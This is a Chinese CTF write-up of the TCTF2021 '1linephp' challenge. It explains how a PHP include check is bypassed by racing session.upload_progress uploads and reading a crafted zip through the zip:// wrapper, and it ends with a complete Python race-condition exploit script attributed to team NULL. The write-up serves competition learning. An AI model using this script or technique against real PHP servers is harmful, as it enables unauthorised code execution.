[TCTF2021]1linephp
题目给出了源码:
<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');
直接就是一个三目运算符表达式,很简洁,意思是将用GET方法传进来的yxxx
参数后面拼接上.php
作为文件名,然后用file()
函数读取文件内容,并且内容的前6个字符是@<?php
这6个字符,如果上述条件成立的话就将这个文件包含进来,否者就显示phpinfo.html
的内容。
session.upload_progress
既然是读文件,他给没有说要读什么文件呀,那大概率就是让我们上传一个文件再去读取,可是这里也没有能够直接上传文件的地方,这里比较常用的就是利用session.upload_progress,这个知识点在之前的国赛初赛里面也有用到。当session.upload_progress选项开启时,我们可以上传一个文件,同时POST一个与INI中设置的session.upload_progress.name
同名变量时,上传进度可以在$_SESSION
中获得。当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是 session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。并且当文件上传完成的时候,这个session会被立即删除。
我们可以通过不断上传然后读取的方式,也就是条件竞争来包含文件。
这里的session文件默认的保存路径为/tmp/sess_
+ 设置的ssid,里面的文件内容如描述那样,是upload_progress
+ PHP_SESSION_UPLOAD_PROGRESS的值。
zip协议
现在还有一个问题,生成的session文件的开头是upload_progress_
,并不复合题目要求的@<?php
这6个字符开头,我们需要想一个办法把前面那串字符给消除掉。而且生成的文件也并不是.php
文件。这里用到了zip
协议。
example:
zip://1.zip#1.php
这个协议用法很简单,就是我们将1.php
文件压缩成1.zip
文件,通过zip
协议读取的时候只需在1.zip
后面加#
和被压缩文件的名字即可。
这样,我们就成功绕过了必须是.php
结尾的问题。
第二个问题是需要将upload_progress_
这串字符消除,这里需要知道zip文件的特性。
实际上zip前26个字节对数据读取没影响,我们把它都改成00都能够正常读取,而结尾也能够随便填充,也就是说session文件除了我们输入的内容以外后面的那些序列化的内容并不会影响zip文件的读取。
因此我们只需要把我们生成的zip文件删除掉前16个字节(upload_progress_
⻓度为16),相当于让upload_progress_
作为我们zip文件的前16个字节。
EXP:来自NULL战队
import requests
import threading
host = 'http://111.186.59.2:50082'
PHPSESSID = 'john'
def creatSession():
while True:
files = {
"upload" : ("tmp.jpg", open("./1.jpg", "rb"))
}
data = {"PHP_SESSION_UPLOAD_PROGRESS" : open("./1.zip", "rb").read() }
headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
r = requests.post(host,files = files,headers = headers,data=data)
fileName = "zip:///tmp/sess_"+PHPSESSID+"%231"
if __name__ == '__main__':
url = "{}/index.php?yxxx={}".format(host,fileName)
headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
t = threading.Thread(target=creatSession,args=())
t.setDaemon(True)
t.start()
while True:
res = requests.get(url,headers=headers)
if b"aaaabcd" in res.content:
print(res.content)
break
else:
print("[-] retry.")